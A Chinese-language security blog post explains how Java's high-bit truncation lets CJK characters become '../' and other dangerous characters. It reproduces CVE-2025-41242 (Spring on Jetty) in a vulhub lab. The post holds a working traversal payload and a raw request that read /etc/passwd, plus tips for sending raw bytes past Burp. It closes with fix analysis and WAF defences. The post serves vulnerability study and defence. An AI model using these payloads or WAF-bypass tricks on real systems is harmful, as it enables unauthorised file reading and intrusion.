Ghost Bits:高位截断如何让 Java WAF 形同虚设
“Ghost”指的是被丢弃的高8位——它们原本存在(如
0x96),但在强制转换时悄无声息地消失,像幽灵一样看不见却留下了影响(低8位变成了另一个字符)。安全社区用这个词形容这种高位数据隐性丢失导致的攻击面。
目录
- 原理前置知识
- 测试代码验证
- WAF 为什么拦不住
- CVE-2025-41242 实际复现
- 换成 Tomcat 会怎样
- Ghost Bits 能构造哪些危险字符
- 修复方案对比
- WAF 防御的可行思路
- 总结
一、原理前置知识
须知:char 和 byte 的位数差异
char:16位 → 十六进制4位 →0x962Ebyte:8位 → 十六进制2位 →0x2E
这两个类型的位宽差异,就是 Ghost Bits 漏洞的根源所在。
printf 格式符说明
1 | 0x%04X |
0x→ 直接打印字面量"0x"%→ 格式符开始04→ 不够4位就在前面补0X→ 用大写十六进制显示
0x%04X 打印出来就是 0x962E 这种格式。
1 | 0x%02X |
同上,只是只占2位,因为 byte 最多就是 0xFF,两位够了,打印出来是 0x2E 这种。
(char)(b & 0xFF) 是干什么的
第一步 b & 0xFF:
Java 的 byte 是有符号的,范围是 -128 到 127。比如 0x96 存进 byte 里会变成 -106,直接用会乱。& 0xFF 就是强制把它当无符号数来用,范围变成 0 到 255,数值是对的。
第二步 (char):
再转回 char,这样才能用 %c 打印出对应的字符来。
Java byte 的有符号设计
Java 的 byte 是8位,8位能表示256个数,但 Java 用了”有符号”设计,最高位不用来表示数值,用来表示正负:
byte 是 -128 到 127,不是 0 到 255
- 最高位是 0 → 正数
- 最高位是 1 → 负数
所以:
1 | 0000 0000 → 0 |
补码规则补充
负数的补码 = 把对应正数的二进制每位取反,再加1。
举个例子,-1 怎么表示:
1 | 第一步:1 的二进制 → 0000 0001 |
所以 1111 1111 = -1,不是255。
再看 -128 怎么来的:
1 | 第一步:128 的二进制 → 1000 0000 |
取反加1之后转了一圈回来了,所以 1000 0000 就被定义成 -128。
为什么这么设计?
用补码做加法,正数负数可以用同一套电路,不需要额外处理符号位,硬件简单很多。
可以验证一下:
1 | -1 + 1 = ? |
加法结果是对的。
为什么 0x96 变成 -106
0x96 的二进制是:
1 | 1001 0110 |
最高位是1,Java 认为这是负数,用补码规则算出来就是 -106。
不需要记补码怎么算,只需要知道:凡是二进制最高位是1的 byte,Java 都会把它当负数处理。
& 0xFF 做了什么
& 0xFF 就是位与运算,0xFF 的二进制是:
1 | 1111 1111 |
任何数 & 1111 1111,结果还是它本身,数值不变。
但关键在于:b & 0xFF 这个表达式,Java 会自动把结果提升为 int 类型,int 是32位无符号正数,所以 -106 经过这一步就变成了 150,也就是 0x96 正确的无符号值。
1 | byte 0x96 → Java认为是 -106(有符号,最高位是1) |
一句话总结:
& 0xFF不是在改数据,是在告诉 Java:别把这个 byte 当有符号数,给我按无符号来用。
二、测试代码验证
写一段代码来直观感受 Ghost Bits 的效果:
1 | package com; |
运行结果

1 | 字符 Unicode 转byte后 对应ASCII |
总结就是:文字 → 数字 → 截掉高位 → 剩下的数字 → 对应的另一个文字
这也说明一个问题:
同一个汉字可以重复用,不同的汉字也能映射成同一个符号,组合方式是无穷的。
可以用 丮丮伯,也可以用 阮阮伯,也可以用 丮阮伯,效果全一样,全都变成 ../。
WAF 要拦的话,得把所有能映射成 . 和 / 的汉字全部加进黑名单,根本不现实。这也印证出了 Ghost Bits 的强大之处。
三、WAF 为什么拦不住
直观感受一下,统计整个汉字范围里能映射成危险字符的到底有多少个:
1 | package com; |

结论
1 | 总共有 82 个汉字能映射成 '.' |
这对 WAF 意味着什么:
WAF 要拦 ../,它得把这 82×82×82 种组合全部加进黑名单:
1 | 82种'.' × 82种'.' × 82种'/' = 551,368 种组合 |
五十五万种,而且这还只是汉字范围,加上其他 Unicode 字符更多。黑名单根本打不完。
而攻击者只需要从82个里随便挑一个:
1 | 丮丮乂 → ../ |
这就是”WAF之殇”的本质:
不是 WAF 不努力,是这个问题从数学上就赢了。
一对一的关系 WAF 能拦,多对一的关系 WAF 没有办法。
四、CVE-2025-41242 实际复现
环境搭建
1 | git clone --depth 1 https://github.com/vulhub/vulhub.git |
访问 http://localhost:8080:

网站部署没有问题。
这个靶场是一个 Spring Boot + Jetty 的 Web 应用,CVE-2025-41242 是 Spring 框架因 Jetty URI 解析不一致导致的路径穿越漏洞。
如果直接请求访问:
1 | http://localhost:8080/../../../../../../../etc/passwd |
得到的是 http://localhost:8080/etc/passwd 的 404:

但是用 poc 测试:
1 | python3 poc.py http://localhost:8080 |

可以直接访问到 /etc/passwd 文件。
那 poc 是怎么访问这个路径的?
源码分析
查看一下源码:
https://github.com/spring-projects/spring-framework/commit/24e66b63
StringUtils.java 文件:

1 | // 漏洞版本 |
关键就在于 baos.write(ch),也就是 ByteArrayOutputStream.write(int)。
这是 JDK 自带方法,它的文档明确写了:
https://docs.oracle.com/javase/8/docs/api/java/io/OutputStream.html#write-byte:A-

翻译过来:
写入的是参数b的低8位。b的高24位直接被忽略。
write(int b) 接收的是 int 类型,int 是32位:
1 | 32位 int: |
文档说”高24位忽略”,意思就是除了最低8位之外,剩下的24位全部丢掉。
用 阮 举例:
1 | '阮' = 0x0000962E(int类型,32位) |
漏洞核心代码分析
这是 Spring 的 uriDecode 方法:
1 | public static String uriDecode(String source, Charset charset) { |
关键点:这也是为什么 payload 里必须有至少一个 %xx,否则直接返回原始字符串,漏洞根本不触发。
payload 解析
看一下 poc 里的 payload:
1 | /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 |
整个请求链路是这样的:
1 | 客户端发请求 |
这就是整条攻击链:Spring 截断了高位,Spring 的安全检查漏了 .%u002e,Jetty 再把 %u002e 还原成 .,三方配合,路径穿越达成。
实际发包测试
如果直接 curl 访问:
1 | curl "http://localhost:8080/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64" |
得到的只有 404:

看到实际请求的路径,payload 里的中文被 url(percent)编码了。规则很简单,把每个字节用 % 加两位十六进制表示。
阮 的 UTF-8 是三个字节:
1 | \xe9 → %E9 |
这是浏览器和 curl 的编码机制。URL 里只允许出现 ASCII 字符,汉字、特殊符号这些不合法,所以会自动转换成 %xx 这种格式才能放进 URL 里传输。
但是这样的话,服务器因为包含百分号会把它解码还原成中文,这样就不会经过8字节截断的方法了。必须让服务器收到我们发的原始数据,不能经过 URL 编码。
需要使用其他方法,就比如用 Yakit。
注意这里不能用 bp,因为 bp 只是代理转发工具,实际还是会对内容进行编码处理。
Burp Suite 默认会按照 URL 规范对非 ASCII 字符进行编码(变成
%E9%98%AE),这会破坏原始字节序列。要发送原始中文字符,需要:使用 Yakit、Netcat、或自定义 Python 脚本。或者在 Burp 的 Repeater 中,将Payload Encoding的URL-encode these characters选项取消勾选。
核心原则:必须让服务端收到的字节就是 0xE9 0x98 0xAE(”阮”的UTF-8),而不是 %E9%98%AE 这6个 ASCII 字符,否则漏洞无法触发。
在 Yakit 里构造原始数据包:
1 | GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 |
构造数据包发包测试,成功拿到 passwd:

五、换成 Tomcat 会怎样
触发这个漏洞 Spring 和 Jetty 都有责任,但如果换成 Tomcat,就不会这么简单了。
阻碍一:Tomcat 不认识 %uXXXX
Tomcat 对非标准 URL 编码的态度是直接拒绝:
1 | Jetty 收到 %u002e → 认识,解码成 . |
所以即使 Spring 把汉字截断成了 .%u002e,Tomcat 也不会把 %u002e 解码成 .,路径穿越就构不成。
阻碍二:Tomcat 的路径规范化更严格
Tomcat 在把请求交给 Spring 之前,自己会先做一次路径检查,把可疑的路径直接拦掉:
1 | 收到 /../ → 直接拒绝 |
Tomcat 更保守,宁可误杀也不放行可疑路径。
Tomcat 的高版本(如10.1.x)对非标准编码更严格,默认拒绝。但旧版本或配置不当(如设置了
URIEncoding="UTF-8"+allowQueryStringEncoding=true)也可能受影响,只是概率低。
其他容器的情况:
| 容器 | 对 %uXXXX 的态度 | 受影响情况 |
|---|---|---|
| Jetty | 默认支持,主动解码 | 主要风险载体 |
| Tomcat | 不支持,直接拒绝 | 不受影响 |
| Undertow | 默认不支持 | 不受影响 |
| WebLogic | 部分版本支持 | 可能受影响 |
总结:
1 | Jetty: 宽松,认识 %uXXXX,主动解码,好心办坏事 |
这个漏洞本质上需要两个条件同时满足:
- 条件一:Spring 的
baos.write(ch)把汉字截断成.%u002e - 条件二:底层容器能把
%u002e解码成.
Tomcat 不满足条件二,所以不受影响。
六、Ghost Bits 能构造哪些危险字符
其实除了 ../,Ghost Bits 还能构造更多危险字符:
| 目标字符 | ASCII码 | 可能的汉字示例 | 攻击用途 |
|---|---|---|---|
. |
0x2E | 阮、丮、伮 | 目录穿越 |
/ |
0x2F | 严、伯、乂 | 目录穿越 |
\ |
0x5C | 某汉字 | Windows路径穿越 |
' |
0x27 | 某汉字 | SQL注入 |
< |
0x3C | 某汉字 | XSS/HTML注入 |
> |
0x3E | 某汉字 | XSS/HTML注入 |
& |
0x26 | 某汉字 | 参数污染 |
# |
0x23 | 某汉字 | URL锚点绕过 |
% |
0x25 | 严(低8位恰好是0x25) | 二次编码绕过 |
只要某个汉字低8位等于危险字符的ASCII,它就能被当成那个字符使用。 WAF 如果只拦原始危险字符,不拦这些汉字,就会被绕过。
七、修复方案对比
Spring 的修复代码:baos.write(ch) → output.append(ch)
ByteArrayOutputStream.write(int) 只保留低8位,导致高位丢失。修复后改用 StringBuilder.append(char),它会将字符按完整 Unicode 处理,不会截断。这个修改看似微小,但彻底消除了高位截断的根本原因。
对于 Jetty 的加固建议(虽然官方认为这不是 Jetty 的 bug,但用户可以自己加固):
如果无法升级 Spring,可以在 Jetty 配置中禁用非标准 %u 编码:
1 | <Set name="decodeUnicodePercentEncoding">false</Set> |
这样 Jetty 不会再解码 %u002e,攻击链断裂。
八、WAF 防御的可行思路
黑名单这条路基本是死路,但 WAF 并不是完全没有办法,思路换一换还是能防的。
1. 在请求解析层统一规范化
WAF 应该先模拟 Spring 的行为:对 URL 路径中的每个字符,如果它是非 ASCII(如汉字),就计算 (byte)c & 0xFF,看低8位是否是危险字符。如果是,就拦截。这种方法不需要枚举汉字,只要判断低8位。
2. 检测 %u 这种非标准编码
直接拦截 URL 中出现 %u(无论后面是什么),因为 RFC 3986 规定 URL 编码必须是 %xx 两位,四位的 %uXXXX 是非标准的,正常业务不应该出现。
3. 在 WAF 层做路径规范化
将 /%u002e/%u002e/ 先解码成 /../../,再进行路径穿越检测。这样 WAF 在数学上赢回一局。
总结
文章从 Java 基础类型转换的位操作原理出发,搞清楚了 Ghost Bits 这个概念的来龙去脉,然后结合 CVE-2025-41242 这个真实漏洞完整走了一遍攻击链。
整条链路下来,核心就是三个环节的共同”配合”:
- **Spring 的
baos.write(ch)**:char 强转写入时高位静默丢失,汉字变成了危险字符 - Spring 的安全检查:只认识常规的
../和%2e%2e,对.%u002e视而不见 - Jetty 的扩展解析:认识并解码
%uXXXX这种非标准格式,帮忙把最后一步%u002e还原成.
任何一个环节单独看都不是”漏洞”,但三个拼在一起就是一条完整的路径穿越链。
WAF 的困境在于:一个危险字符对应82个汉字,../ 的变体超过55万种,黑名单从数学层面就注定打不完。真正的防御思路应该是模拟后端的解析行为,而不是堆黑名单。
好的 WAF 不是靠黑名单,而是靠”与后端行为一致的重构”。